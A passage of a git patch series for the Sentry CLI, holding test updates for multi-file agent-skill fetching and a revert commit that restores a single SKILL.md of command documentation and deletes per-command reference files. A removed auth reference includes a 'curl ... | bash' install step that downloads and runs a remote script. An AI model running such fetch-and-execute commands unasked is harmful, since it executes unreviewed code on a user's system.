Response( + JSON.stringify({ + skills: [{ name: "sentry-cli", files: ["SKILL.md"] }], + }), + { status: 200 } + ); + } return new Response("# Dev Content", { status: 200 }); }); - const content = await fetchSkillContent("0.0.0-dev"); - expect(content).toBe("# Dev Content"); - expect(fetchedUrls).toHaveLength(1); + const files = await fetchSkillContent("0.0.0-dev"); + expect(files).not.toBeNull(); + expect(files!.get("SKILL.md")).toBe("# Dev Content"); + // Should only hit cli.sentry.dev (fallback), never raw.githubusercontent.com + expect( + fetchedUrls.every((u) => u.includes("cli.sentry.dev")) + ).toBe(true); }); test("returns null when all fetches fail", async () => { mockFetch(async () => new Response("Error", { status: 500 })); - const content = await fetchSkillContent("0.8.0"); - expect(content).toBeNull(); + const files = await fetchSkillContent("0.8.0"); + expect(files).toBeNull(); }); test("returns null on network error", async () => { @@ -153,8 +201,45 @@ describe("agent-skills", () => { throw new Error("Network error"); }); - const content = await fetchSkillContent("0.8.0"); - expect(content).toBeNull(); + const files = await fetchSkillContent("0.8.0"); + expect(files).toBeNull(); + }); + + test("still returns SKILL.md when some reference files fail", async () => { + mockFetch(async (url) => { + const urlStr = typeof url === "string" ? url : url.toString(); + if (urlStr.endsWith("index.json")) { + return new Response(SAMPLE_INDEX_JSON, { status: 200 }); + } + if (urlStr.endsWith("SKILL.md")) { + return new Response("# Index", { status: 200 }); + } + // All reference files fail + return new Response("Not found", { status: 404 }); + }); + + const files = await fetchSkillContent("0.8.0"); + expect(files).not.toBeNull(); + expect(files!.size).toBe(1); + expect(files!.get("SKILL.md")).toBe("# Index"); + }); + + test("falls back to just SKILL.md when index.json is unavailable", async () => { + mockFetch(async (url) => { + const urlStr = typeof url === "string" ? url : url.toString(); + if (urlStr.endsWith("index.json")) { + return new Response("Not found", { status: 404 }); + } + if (urlStr.endsWith("SKILL.md")) { + return new Response("# Skill Content", { status: 200 }); + } + return new Response("Not found", { status: 404 }); + }); + + const files = await fetchSkillContent("0.8.0"); + expect(files).not.toBeNull(); + expect(files!.size).toBe(1); + expect(files!.get("SKILL.md")).toBe("# Skill Content"); }); }); @@ -168,10 +253,28 @@ describe("agent-skills", () => { ); mkdirSync(testDir, { recursive: true }); - mockFetch( - async () => - new Response("# Sentry CLI Skill\nTest content", { status: 200 }) - ); + mockFetch(async (url) => { + const urlStr = typeof url === "string" ? url : url.toString(); + if (urlStr.endsWith("index.json")) { + return new Response(SAMPLE_INDEX_JSON, { status: 200 }); + } + if (urlStr.endsWith("SKILL.md")) { + return new Response("# Sentry CLI Skill\nTest content", { + status: 200, + }); + } + if (urlStr.endsWith("auth.md")) { + return new Response("# Auth Commands\nAuth content", { + status: 200, + }); + } + if (urlStr.endsWith("issue.md")) { + return new Response("# Issue Commands\nIssue content", { + status: 200, + }); + } + return new Response("Not found", { status: 404 }); + }); }); afterEach(() => { @@ -183,7 +286,7 @@ describe("agent-skills", () => { expect(result).toBeNull(); }); - test("installs skill file when Claude Code is detected", async () => { + test("installs skill files when Claude Code is detected", async () => { mkdirSync(join(testDir, ".claude"), { recursive: true }); const result = await installAgentSkills(testDir, "0.8.0"); @@ -199,6 +302,34 @@ describe("agent-skills", () => { expect(content).toContain("# Sentry CLI Skill"); }); + test("creates references directory and writes reference files", async () => { + mkdirSync(join(testDir, ".claude"), { recursive: true }); + + const result = await installAgentSkills(testDir, "0.8.0"); + + expect(result).not.toBeNull(); + + // Verify reference files were written + const refsDir = join( + testDir, + ".claude", + "skills", + "sentry-cli", + "references" + ); + expect(existsSync(refsDir)).toBe(true); + + const authPath = join(refsDir, "auth.md"); + expect(existsSync(authPath)).toBe(true); + const authContent = await Bun.file(authPath).text(); + expect(authContent).toContain("# Auth Commands"); + + const issuePath = join(refsDir, "issue.md"); + expect(existsSync(issuePath)).toBe(true); + const issueContent = await Bun.file(issuePath).text(); + expect(issueContent).toContain("# Issue Commands"); + }); + test("creates intermediate directories", async () => { mkdirSync(join(testDir, ".claude"), { recursive: true }); From 037382bebc2a0a7bab48adcf686f54689990063f Mon Sep 17 00:00:00 2001 From: betegon Date: Tue, 3 Mar 2026 10:44:53 +0100 Subject: [PATCH 49/72] Revert "refactor: split skill docs into reference files and improve skill loader" This reverts commit c1461d3493ef62cb7186cca3e92404be6ffdf2d5. --- .cursor/skills/sentry-cli/SKILL.md | 1 + .github/workflows/ci.yml | 12 +- docs/public/.well-known/skills/index.json | 16 +- .../.well-known/skills/sentry-cli/SKILL.md | 1 + plugins/sentry-cli/skills/sentry-cli/SKILL.md | 699 ++++++++++++- .../skills/sentry-cli/references/api.md | 89 -- .../skills/sentry-cli/references/auth.md | 103 -- .../skills/sentry-cli/references/cli.md | 132 --- .../skills/sentry-cli/references/event.md | 61 -- .../skills/sentry-cli/references/init.md | 59 -- .../skills/sentry-cli/references/issue.md | 201 ---- .../skills/sentry-cli/references/log.md | 175 ---- .../skills/sentry-cli/references/org.md | 66 -- .../skills/sentry-cli/references/project.md | 79 -- .../skills/sentry-cli/references/repo.md | 28 - .../skills/sentry-cli/references/team.md | 52 - .../skills/sentry-cli/references/trace.md | 50 - script/check-skill.ts | 123 +-- script/generate-skill.ts | 958 ++---------------- src/lib/agent-skills.ts | 196 +--- test/commands/cli/setup.test.ts | 45 +- test/lib/agent-skills.test.ts | 183 +--- 22 files changed, 874 insertions(+), 2455 deletions(-) create mode 120000 .cursor/skills/sentry-cli/SKILL.md create mode 120000 docs/public/.well-known/skills/sentry-cli/SKILL.md delete mode 100644 plugins/sentry-cli/skills/sentry-cli/references/api.md delete mode 100644 plugins/sentry-cli/skills/sentry-cli/references/auth.md delete mode 100644 plugins/sentry-cli/skills/sentry-cli/references/cli.md delete mode 100644 plugins/sentry-cli/skills/sentry-cli/references/event.md delete mode 100644 plugins/sentry-cli/skills/sentry-cli/references/init.md delete mode 100644 plugins/sentry-cli/skills/sentry-cli/references/issue.md delete mode 100644 plugins/sentry-cli/skills/sentry-cli/references/log.md delete mode 100644 plugins/sentry-cli/skills/sentry-cli/references/org.md delete mode 100644 plugins/sentry-cli/skills/sentry-cli/references/project.md delete mode 100644 plugins/sentry-cli/skills/sentry-cli/references/repo.md delete mode 100644 plugins/sentry-cli/skills/sentry-cli/references/team.md delete mode 100644 plugins/sentry-cli/skills/sentry-cli/references/trace.md diff --git a/.cursor/skills/sentry-cli/SKILL.md b/.cursor/skills/sentry-cli/SKILL.md new file mode 120000 index 00000000..7b44d2c9 --- /dev/null +++ b/.cursor/skills/sentry-cli/SKILL.md @@ -0,0 +1 @@ +../../../plugins/sentry-cli/skills/sentry-cli/SKILL.md \ No newline at end of file diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 6e8990ab..0f5c8a2d 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -110,22 +110,22 @@ jobs: key: node-modules-${{ hashFiles('bun.lock', 'patches/**') }} - if: steps.cache.outputs.cache-hit != 'true' run: bun install --frozen-lockfile - - name: Check skill files + - name: Check SKILL.md id: check run: bun run check:skill continue-on-error: true - - name: Auto-commit regenerated skill files + - name: Auto-commit regenerated SKILL.md if: steps.check.outcome == 'failure' && steps.token.outcome == 'success' run: | git config user.name "github-actions[bot]" git config user.email "github-actions[bot]@users.noreply.github.com" - git add plugins/sentry-cli/skills/sentry-cli/ docs/public/.well-known/skills/index.json - git commit -m "chore: regenerate skill files" + git add plugins/sentry-cli/skills/sentry-cli/SKILL.md + git commit -m "chore: regenerate SKILL.md" git push - - name: Fail for fork PRs with stale skill files + - name: Fail for fork PRs with stale SKILL.md if: steps.check.outcome == 'failure' && steps.token.outcome != 'success' run: | - echo "::error::Skill files are out of date. Run 'bun run generate:skill' locally and commit the result." + echo "::error::SKILL.md is out of date. Run 'bun run generate:skill' locally and commit the result." exit 1 lint: diff --git a/docs/public/.well-known/skills/index.json b/docs/public/.well-known/skills/index.json index 2e280799..7dc90675 100644 --- a/docs/public/.well-known/skills/index.json +++ b/docs/public/.well-known/skills/index.json @@ -3,21 +3,7 @@ { "name": "sentry-cli", "description": "Guide for using the Sentry CLI to interact with Sentry from the command line. Use when the user asks about viewing issues, events, projects, organizations, making API calls, or authenticating with Sentry via CLI.", - "files": [ - "SKILL.md", - "references/auth.md", - "references/org.md", - "references/project.md", - "references/issue.md", - "references/event.md", - "references/api.md", - "references/cli.md", - "references/repo.md", - "references/team.md", - "references/log.md", - "references/trace.md", - "references/init.md" - ] + "files": ["SKILL.md"] } ] } diff --git a/docs/public/.well-known/skills/sentry-cli/SKILL.md b/docs/public/.well-known/skills/sentry-cli/SKILL.md new file mode 120000 index 00000000..dc44f03f --- /dev/null +++ b/docs/public/.well-known/skills/sentry-cli/SKILL.md @@ -0,0 +1 @@ +../../../../../plugins/sentry-cli/skills/sentry-cli/SKILL.md \ No newline at end of file diff --git a/plugins/sentry-cli/skills/sentry-cli/SKILL.md b/plugins/sentry-cli/skills/sentry-cli/SKILL.md index 93572107..eae91388 100644 --- a/plugins/sentry-cli/skills/sentry-cli/SKILL.md +++ b/plugins/sentry-cli/skills/sentry-cli/SKILL.md @@ -33,20 +33,691 @@ sentry auth logout ## Available Commands -| Command | Description | Reference | -|---------|-------------|-----------| -| `sentry auth` | Authenticate with Sentry | [Auth commands](references/auth.md) | -| `sentry org` | Work with Sentry organizations | [Org commands](references/org.md) | -| `sentry project` | Work with Sentry projects | [Project commands](references/project.md) | -| `sentry issue` | Manage Sentry issues | [Issue commands](references/issue.md) | -| `sentry event` | View Sentry events | [Event commands](references/event.md) | -| `sentry api` | Make an authenticated API request | [Api commands](references/api.md) | -| `sentry cli` | CLI-related commands | [Cli commands](references/cli.md) | -| `sentry repo` | Work with Sentry repositories | [Repo commands](references/repo.md) | -| `sentry team` | Work with Sentry teams | [Team commands](references/team.md) | -| `sentry log` | View Sentry logs | [Log commands](references/log.md) | -| `sentry trace` | View distributed traces | [Trace commands](references/trace.md) | -| `sentry init` | Initialize Sentry in your project | [Init commands](references/init.md) | +### Auth + +Authenticate with Sentry + +#### `sentry auth login` + +Authenticate with Sentry + +**Flags:** +- `--token - Authenticate using an API token instead of OAuth` +- `--timeout - Timeout for OAuth flow in seconds (default: 900) - (default: "900")` + +**Examples:** + +```bash +# OAuth device flow (recommended) +sentry auth login + +# Using an API token +sentry auth login --token YOUR_TOKEN +``` + +#### `sentry auth logout` + +Log out of Sentry + +**Examples:** + +```bash +sentry auth logout +``` + +#### `sentry auth refresh` + +Refresh your authentication token + +**Flags:** +- `--json - Output result as JSON` +- `--force - Force refresh even if token is still valid` + +**Examples:** + +```bash +sentry auth refresh +``` + +#### `sentry auth status` + +View authentication status + +**Flags:** +- `--show-token - Show the stored token (masked by default)` + +**Examples:** + +```bash +sentry auth status +``` + +#### `sentry auth token` + +Print the stored authentication token + +#### `sentry auth whoami` + +Show the currently authenticated user + +**Flags:** +- `--json - Output as JSON` + +### Org + +Work with Sentry organizations + +#### `sentry org list` + +List organizations + +**Flags:** +- `-n, --limit - Maximum number of organizations to list - (default: "30")` +- `--json - Output JSON` + +**Examples:** + +```bash +sentry org list + +sentry org list --json +``` + +#### `sentry org view ` + +View details of an organization + +**Flags:** +- `--json - Output as JSON` +- `-w, --web - Open in browser` + +**Examples:** + +```bash +sentry org view + +sentry org view my-org + +sentry org view my-org -w +``` + +### Project + +Work with Sentry projects + +#### `sentry project list ` + +List projects + +**Flags:** +- `-n, --limit - Maximum number of projects to list - (default: "30")` +- `--json - Output JSON` +- `-c, --cursor - Pagination cursor (use "last" to continue from previous page)` +- `-p, --platform - Filter by platform (e.g., javascript, python)` + +**Examples:** + +```bash +# List all projects +sentry project list + +# List projects in a specific organization +sentry project list + +# Filter by platform +sentry project list --platform javascript +``` + +#### `sentry project view ` + +View details of a project + +**Flags:** +- `--json - Output as JSON` +- `-w, --web - Open in browser` + +**Examples:** + +```bash +# Auto-detect from DSN or config +sentry project view + +# Explicit org and project +sentry project view / + +# Find project across all orgs +sentry project view + +sentry project view my-org/frontend + +sentry project view my-org/frontend -w +``` + +### Issue + +Manage Sentry issues + +#### `sentry issue list ` + +List issues in a project + +**Flags:** +- `-q, --query - Search query (Sentry search syntax)` +- `-n, --limit - Maximum number of issues to list - (default: "25")` +- `-s, --sort - Sort by: date, new, freq, user - (default: "date")` +- `-t, --period - Time period for issue activity (e.g. 24h, 14d, 90d) - (default: "90d")` +- `--json - Output JSON` +- `-c, --cursor - Pagination cursor for / or multi-target modes (use "last" to continue)` + +**Examples:** + +```bash +# Explicit org and project +sentry issue list / + +# All projects in an organization +sentry issue list / + +# Search for project across all accessible orgs +sentry issue list + +# Auto-detect from DSN or config +sentry issue list + +# List issues in a specific project +sentry issue list my-org/frontend + +sentry issue list my-org/ + +sentry issue list frontend + +sentry issue list my-org/frontend --query "TypeError" + +sentry issue list my-org/frontend --sort freq --limit 20 + +# Show only unresolved issues +sentry issue list my-org/frontend --query "is:unresolved" + +# Show resolved issues +sentry issue list my-org/frontend --query "is:resolved" + +# Combine with other search terms +sentry issue list my-org/frontend --query "is:unresolved TypeError" +``` + +#### `sentry issue explain ` + +Analyze an issue's root cause using Seer AI + +**Flags:** +- `--json - Output as JSON` +- `--force - Force new analysis even if one exists` + +**Examples:** + +```bash +sentry issue explain + +# By numeric issue ID +sentry issue explain 123456789 + +# By short ID with org prefix +sentry issue explain my-org/MYPROJECT-ABC + +# By project-suffix format +sentry issue explain myproject-G + +# Force a fresh analysis +sentry issue explain 123456789 --force +``` + +#### `sentry issue plan ` + +Generate a solution plan using Seer AI + +**Flags:** +- `--cause - Root cause ID to plan (required if multiple causes exist)` +- `--json - Output as JSON` +- `--force - Force new plan even if one exists` + +**Examples:** + +```bash +sentry issue plan + +# After running explain, create a plan +sentry issue plan 123456789 + +# Specify which root cause to plan for (if multiple were found) +sentry issue plan 123456789 --cause 0 + +# By short ID with org prefix +sentry issue plan my-org/MYPROJECT-ABC --cause 1 + +# By project-suffix format +sentry issue plan myproject-G --cause 0 +``` + +#### `sentry issue view ` + +View details of a specific issue + +**Flags:** +- `--json - Output as JSON` +- `-w, --web - Open in browser` +- `--spans - Span tree depth limit (number, "all" for unlimited, "no" to disable) - (default: "3")` + +**Examples:** + +```bash +# By issue ID +sentry issue view + +# By short ID +sentry issue view + +sentry issue view FRONT-ABC + +sentry issue view FRONT-ABC -w +``` + +### Event + +View Sentry events + +#### `sentry event view ` + +View details of a specific event + +**Flags:** +- `--json - Output as JSON` +- `-w, --web - Open in browser` +- `--spans - Span tree depth limit (number, "all" for unlimited, "no" to disable) - (default: "3")` + +**Examples:** + +```bash +sentry event view + +sentry event view abc123def456 + +sentry event view abc123def456 -w +``` + +### Api + +Make an authenticated API request + +#### `sentry api ` + +Make an authenticated API request + +**Flags:** +- `-X, --method - The HTTP method for the request - (default: "GET")` +- `-d, --data - Inline JSON body for the request (like curl -d)` +- `-F, --field ... - Add a typed parameter (key=value, key[sub]=value, key[]=value)` +- `-f, --raw-field ... - Add a string parameter without JSON parsing` +- `-H, --header ... - Add a HTTP request header in key:value format` +- `--input - The file to use as body for the HTTP request (use "-" to read from standard input)` +- `-i, --include - Include HTTP response status line and headers in the output` +- `--silent - Do not print the response body` +- `--verbose - Include full HTTP request and response in the output` + +**Examples:** + +```bash +sentry api [options] + +# List organizations +sentry api /organizations/ + +# Get a specific organization +sentry api /organizations/my-org/ + +# Get project details +sentry api /projects/my-org/my-project/ + +# Create a new project +sentry api /teams/my-org/my-team/projects/ \ + --method POST \ + --field name="New Project" \ + --field platform=javascript + +# Update an issue status +sentry api /issues/123456789/ \ + --method PUT \ + --field status=resolved + +# Assign an issue +sentry api /issues/123456789/ \ + --method PUT \ + --field assignedTo="user@example.com" + +# Delete a project +sentry api /projects/my-org/my-project/ \ + --method DELETE + +sentry api /organizations/ \ + --header "X-Custom-Header:value" + +sentry api /organizations/ --include + +# Get all issues (automatically follows pagination) +sentry api /projects/my-org/my-project/issues/ --paginate +``` + +### Cli + +CLI-related commands + +#### `sentry cli feedback ` + +Send feedback about the CLI + +#### `sentry cli fix` + +Diagnose and repair CLI database issues + +**Flags:** +- `--dry-run - Show what would be fixed without making changes` + +#### `sentry cli setup` + +Configure shell integration + +**Flags:** +- `--install - Install the binary from a temp location to the system path` +- `--method - Installation method (curl, npm, pnpm, bun, yarn)` +- `--channel - Release channel to persist (stable or nightly)` +- `--no-modify-path - Skip PATH modification` +- `--no-completions - Skip shell completion installation` +- `--no-agent-skills - Skip agent skill installation for AI coding assistants` +- `--quiet - Suppress output (for scripted usage)` + +#### `sentry cli upgrade ` + +Update the Sentry CLI to the latest version + +**Flags:** +- `--check - Check for updates without installing` +- `--force - Force upgrade even if already on the latest version` +- `--method - Installation method to use (curl, brew, npm, pnpm, bun, yarn)` + +### Repo + +Work with Sentry repositories + +#### `sentry repo list ` + +List repositories + +**Flags:** +- `-n, --limit - Maximum number of repositories to list - (default: "30")` +- `--json - Output JSON` +- `-c, --cursor - Pagination cursor (use "last" to continue from previous page)` + +### Team + +Work with Sentry teams + +#### `sentry team list ` + +List teams + +**Flags:** +- `-n, --limit - Maximum number of teams to list - (default: "30")` +- `--json - Output JSON` +- `-c, --cursor - Pagination cursor (use "last" to continue from previous page)` + +**Examples:** + +```bash +# Auto-detect organization or list all +sentry team list + +# List teams in a specific organization +sentry team list + +# Limit results +sentry team list --limit 10 + +sentry team list --json +``` + +### Log + +View Sentry logs + +#### `sentry log list ` + +List logs from a project + +**Flags:** +- `-n, --limit - Number of log entries (1-1000) - (default: "100")` +- `-q, --query - Filter query (Sentry search syntax)` +- `-f, --follow - Stream logs (optionally specify poll interval in seconds)` +- `--json - Output as JSON` + +**Examples:** + +```bash +# Auto-detect from DSN or config +sentry log list + +# Explicit org and project +sentry log list / + +# Search for project across all accessible orgs +sentry log list + +# List last 100 logs (default) +sentry log list + +# Stream with default 2-second poll interval +sentry log list -f + +# Stream with custom 5-second poll interval +sentry log list -f 5 + +# Show only error logs +sentry log list -q 'level:error' + +# Filter by message content +sentry log list -q 'database' + +# Show last 50 logs +sentry log list --limit 50 + +# Show last 500 logs +sentry log list -n 500 + +# Stream error logs from a specific project +sentry log list my-org/backend -f -q 'level:error' +``` + +#### `sentry log view ` + +View details of a specific log entry + +**Flags:** +- `--json - Output as JSON` +- `-w, --web - Open in browser` + +**Examples:** + +```bash +# Auto-detect from DSN or config +sentry log view + +# Explicit org and project +sentry log view / + +# Search for project across all accessible orgs +sentry log view + +sentry log view 968c763c740cfda8b6728f27fb9e9b01 + +sentry log view 968c763c740cfda8b6728f27fb9e9b01 -w + +sentry log view my-org/backend 968c763c740cfda8b6728f27fb9e9b01 + +sentry log list --json | jq '.[] | select(.level == "error")' +``` + +### Trace + +View distributed traces + +#### `sentry trace list ` + +List recent traces in a project + +**Flags:** +- `-n, --limit - Number of traces (1-1000) - (default: "20")` +- `-q, --query - Search query (Sentry search syntax)` +- `-s, --sort - Sort by: date, duration - (default: "date")` +- `--json - Output as JSON` + +#### `sentry trace view ` + +View details of a specific trace + +**Flags:** +- `--json - Output as JSON` +- `-w, --web - Open in browser` +- `--spans - Span tree depth limit (number, "all" for unlimited, "no" to disable) - (default: "3")` + +#### `sentry trace logs ` + +View logs associated with a trace + +**Flags:** +- `--json - Output as JSON` +- `-w, --web - Open trace in browser` +- `-t, --period - Time period to search (e.g., "14d", "7d", "24h"). Default: 14d - (default: "14d")` +- `-n, --limit - Number of log entries (1-1000) - (default: "100")` +- `-q, --query - Additional filter query (Sentry search syntax)` + +### Init + +Initialize Sentry in your project + +#### `sentry init ` + +Initialize Sentry in your project + +**Flags:** +- `--force - Continue even if Sentry is already installed` +- `-y, --yes - Non-interactive mode (accept defaults)` +- `--dry-run - Preview changes without applying them` +- `--features - Comma-separated features: errors,tracing,logs,replay,metrics` + +### Issues + +List issues in a project + +#### `sentry issues ` + +List issues in a project + +**Flags:** +- `-q, --query - Search query (Sentry search syntax)` +- `-n, --limit - Maximum number of issues to list - (default: "25")` +- `-s, --sort - Sort by: date, new, freq, user - (default: "date")` +- `-t, --period - Time period for issue activity (e.g. 24h, 14d, 90d) - (default: "90d")` +- `--json - Output JSON` +- `-c, --cursor - Pagination cursor for / or multi-target modes (use "last" to continue)` + +### Orgs + +List organizations + +#### `sentry orgs` + +List organizations + +**Flags:** +- `-n, --limit - Maximum number of organizations to list - (default: "30")` +- `--json - Output JSON` + +### Projects + +List projects + +#### `sentry projects ` + +List projects + +**Flags:** +- `-n, --limit - Maximum number of projects to list - (default: "30")` +- `--json - Output JSON` +- `-c, --cursor - Pagination cursor (use "last" to continue from previous page)` +- `-p, --platform - Filter by platform (e.g., javascript, python)` + +### Repos + +List repositories + +#### `sentry repos ` + +List repositories + +**Flags:** +- `-n, --limit - Maximum number of repositories to list - (default: "30")` +- `--json - Output JSON` +- `-c, --cursor - Pagination cursor (use "last" to continue from previous page)` + +### Teams + +List teams + +#### `sentry teams ` + +List teams + +**Flags:** +- `-n, --limit - Maximum number of teams to list - (default: "30")` +- `--json - Output JSON` +- `-c, --cursor - Pagination cursor (use "last" to continue from previous page)` + +### Logs + +List logs from a project + +#### `sentry logs ` + +List logs from a project + +**Flags:** +- `-n, --limit - Number of log entries (1-1000) - (default: "100")` +- `-q, --query - Filter query (Sentry search syntax)` +- `-f, --follow - Stream logs (optionally specify poll interval in seconds)` +- `--json - Output as JSON` + +### Traces + +List recent traces in a project + +#### `sentry traces ` + +List recent traces in a project + +**Flags:** +- `-n, --limit - Number of traces (1-1000) - (default: "20")` +- `-q, --query - Search query (Sentry search syntax)` +- `-s, --sort - Sort by: date, duration - (default: "date")` +- `--json - Output as JSON` + +### Whoami + +Show the currently authenticated user + +#### `sentry whoami` + +Show the currently authenticated user + +**Flags:** +- `--json - Output as JSON` ## Output Formats diff --git a/plugins/sentry-cli/skills/sentry-cli/references/api.md b/plugins/sentry-cli/skills/sentry-cli/references/api.md deleted file mode 100644 index e8f1d741..00000000 --- a/plugins/sentry-cli/skills/sentry-cli/references/api.md +++ /dev/null @@ -1,89 +0,0 @@ -# Api Commands - -Make an authenticated API request - -## `sentry api ` - -Make an authenticated API request - -**Flags:** -- `-X, --method - The HTTP method for the request - (default: "GET")` -- `-d, --data - Inline JSON body for the request (like curl -d)` -- `-F, --field ... - Add a typed parameter (key=value, key[sub]=value, key[]=value)` -- `-f, --raw-field ... - Add a string parameter without JSON parsing` -- `-H, --header ... - Add a HTTP request header in key:value format` -- `--input - The file to use as body for the HTTP request (use "-" to read from standard input)` -- `-i, --include - Include HTTP response status line and headers in the output` -- `--silent - Do not print the response body` -- `--verbose - Include full HTTP request and response in the output` - -**Examples:** - -```bash -sentry api [options] - -# List organizations -sentry api /organizations/ - -# Get a specific organization -sentry api /organizations/my-org/ - -# Get project details -sentry api /projects/my-org/my-project/ - -# Create a new project -sentry api /teams/my-org/my-team/projects/ \ - --method POST \ - --field name="New Project" \ - --field platform=javascript - -# Update an issue status -sentry api /issues/123456789/ \ - --method PUT \ - --field status=resolved - -# Assign an issue -sentry api /issues/123456789/ \ - --method PUT \ - --field assignedTo="user@example.com" - -# Delete a project -sentry api /projects/my-org/my-project/ \ - --method DELETE - -sentry api /organizations/ \ - --header "X-Custom-Header:value" - -sentry api /organizations/ --include - -# Get all issues (automatically follows pagination) -sentry api /projects/my-org/my-project/issues/ --paginate -``` - -**Expected output:** - -``` -HTTP/2 200 -content-type: application/json -x-sentry-rate-limit-remaining: 95 - -[{"slug": "my-org", ...}] -``` - -## Workflows - -### Bulk update issues -1. Find issues: `sentry api /projects///issues/?query=is:unresolved --paginate` -2. Update status: `sentry api /issues// --method PUT --field status=resolved` -3. Assign issue: `sentry api /issues// --method PUT --field assignedTo="user@example.com"` - -### Explore the API -1. List organizations: `sentry api /organizations/` -2. List projects: `sentry api /organizations//projects/` -3. Check rate limits: `sentry api /organizations/ --include` - -## JSON Recipes - -- Get organization slugs: `sentry api /organizations/ | jq '.[].slug'` -- List project slugs: `sentry api /organizations//projects/ | jq '.[].slug'` -- Count issues by status: `sentry api /projects///issues/?query=is:unresolved | jq 'length'` diff --git a/plugins/sentry-cli/skills/sentry-cli/references/auth.md b/plugins/sentry-cli/skills/sentry-cli/references/auth.md deleted file mode 100644 index dfbf1d6c..00000000 --- a/plugins/sentry-cli/skills/sentry-cli/references/auth.md +++ /dev/null @@ -1,103 +0,0 @@ -# Auth Commands - -Authenticate with Sentry - -## `sentry auth login` - -Authenticate with Sentry - -**OAuth Flow:** - -1. Run `sentry auth login` -2. A URL and code will be displayed -3. Open the URL in your browser -4. Enter the code when prompted -5. Authorize the application -6. The CLI automatically receives your token - -**Flags:** -- `--token - Authenticate using an API token instead of OAuth` -- `--timeout - Timeout for OAuth flow in seconds (default: 900) - (default: "900")` - -**Examples:** - -```bash -# OAuth device flow (recommended) -sentry auth login - -# Using an API token -sentry auth login --token YOUR_TOKEN -``` - -## `sentry auth logout` - -Log out of Sentry - -**Examples:** - -```bash -sentry auth logout -``` - -## `sentry auth refresh` - -Refresh your authentication token - -**Flags:** -- `--json - Output result as JSON` -- `--force - Force refresh even if token is still valid` - -**Examples:** - -```bash -sentry auth refresh -``` - -## `sentry auth status` - -View authentication status - -**Flags:** -- `--show-token - Show the stored token (masked by default)` - -**Examples:** - -```bash -sentry auth status -``` - -**Expected output:** - -``` -Authenticated as: username -Organization: my-org -Token expires: 2024-12-31 -``` - -## `sentry auth token` - -Print the stored authentication token - -## `sentry auth whoami` - -Show the currently authenticated user - -**Flags:** -- `--json - Output as JSON` - -## Shortcuts - -- `sentry whoami` → shortcut for `sentry auth whoami` (accepts the same flags) - -## Workflows - -### First-time setup -1. Install: `curl https://cli.sentry.dev/install -fsS | bash` -2. Authenticate: `sentry auth login` -3. Verify: `sentry auth status` -4. Explore: `sentry org list` - -### CI/CD authentication -1. Create an API token at https://sentry.io/settings/account/api/auth-tokens/ -2. Set token: `sentry auth login --token $SENTRY_TOKEN` -3. Verify: `sentry auth status` diff --git a/plugins/sentry-cli/skills/sentry-cli/references/cli.md b/plugins/sentry-cli/skills/sentry-cli/references/cli.md deleted file mode 100644 index 3bdf3a7f..00000000 --- a/plugins/sentry-cli/skills/sentry-cli/references/cli.md +++ /dev/null @@ -1,132 +0,0 @@ -# Cli Commands - -CLI-related commands - -## `sentry cli feedback ` - -Send feedback about the CLI - -**Examples:** - -```bash -# Send positive feedback -sentry cli feedback i love this tool - -# Report an issue -sentry cli feedback the issue view is confusing - -# Suggest an improvement -sentry cli feedback would be great to have a search command -``` - -## `sentry cli fix` - -Diagnose and repair CLI database issues - -**Flags:** -- `--dry-run - Show what would be fixed without making changes` - -## `sentry cli setup` - -Configure shell integration - -**Flags:** -- `--install - Install the binary from a temp location to the system path` -- `--method - Installation method (curl, npm, pnpm, bun, yarn)` -- `--channel - Release channel to persist (stable or nightly)` -- `--no-modify-path - Skip PATH modification` -- `--no-completions - Skip shell completion installation` -- `--no-agent-skills - Skip agent skill installation for AI coding assistants` -- `--quiet - Suppress output (for scripted usage)` - -## `sentry cli upgrade ` - -Update the Sentry CLI to the latest version - -**Flags:** -- `--check - Check for updates without installing` -- `--force - Force upgrade even if already on the latest version` -- `--method - Installation method to use (curl, brew, npm, pnpm, bun, yarn)` - -**Examples:** - -```bash -sentry cli upgrade --check - -sentry cli upgrade - -sentry cli upgrade nightly -# or equivalently: -sentry cli upgrade --channel nightly - -sentry cli upgrade stable -# or equivalently: -sentry cli upgrade --channel stable - -sentry cli upgrade 0.5.0 - -sentry cli upgrade --force - -sentry cli upgrade --method npm -``` - -**Expected output:** - -``` -Installation method: curl -Current version: 0.4.0 -Channel: stable -Latest version: 0.5.0 - -Run 'sentry cli upgrade' to update. - -Installation method: curl -Current version: 0.4.0 -Channel: stable -Latest version: 0.5.0 - -Upgrading to 0.5.0... - -Successfully upgraded to 0.5.0. -``` - -## Release Channels - -The CLI supports two release channels: - -| Channel | Description | -|---------|-------------| -| `stable` | Latest stable release (default) | -| `nightly` | Built from `main`, updated on every commit | - -The chosen channel is persisted locally so that subsequent bare `sentry cli upgrade` -calls use the same channel without requiring a flag. - -## Installation Detection - -The CLI auto-detects how it was installed and uses the same method to upgrade: - -| Method | Detection | -|--------|-----------| -| curl | Binary located in `~/.sentry/bin` (installed via cli.sentry.dev) | -| brew | Binary located in a Homebrew Cellar (installed via `brew install getsentry/tools/sentry`) | -| npm | Globally installed via `npm install -g sentry` | -| pnpm | Globally installed via `pnpm add -g sentry` | -| bun | Globally installed via `bun install -g sentry` | -| yarn | Globally installed via `yarn global add sentry` | - -> **Note:** Nightly builds are only available as standalone binaries (via the curl -> install method). If you switch to the nightly channel from a package manager or -> Homebrew install, the CLI will automatically migrate to a standalone binary and -> warn you about the existing package-manager installation. - -## Workflows - -### Update the CLI -1. Check for updates: `sentry cli upgrade --check` -2. Upgrade: `sentry cli upgrade` - -### Switch to nightly builds -1. Switch channel: `sentry cli upgrade nightly` -2. Subsequent updates track nightly: `sentry cli upgrade` -3. Switch back to stable: `sentry cli upgrade stable` diff --git a/plugins/sentry-cli/skills/sentry-cli/references/event.md b/plugins/sentry-cli/skills/sentry-cli/references/event.md deleted file mode 100644 index 4a53b9ff..00000000 --- a/plugins/sentry-cli/skills/sentry-cli/references/event.md +++ /dev/null @@ -1,61 +0,0 @@ -# Event Commands - -View Sentry events - -## `sentry event view ` - -View details of a specific event - -**Flags:** -- `--json - Output as JSON` -- `-w, --web - Open in browser` -- `--spans - Span tree depth limit (number, "all" for unlimited, "no" to disable) - (default: "3")` - -**Examples:** - -```bash -sentry event view - -sentry event view abc123def456 - -sentry event view abc123def456 -w -``` - -**Expected output:** - -``` -Event: abc123def456 -Issue: FRONT-ABC -Timestamp: 2024-01-20 14:22:00 - -Exception: - TypeError: Cannot read property 'foo' of undefined - at processData (app.js:123:45) - at handleClick 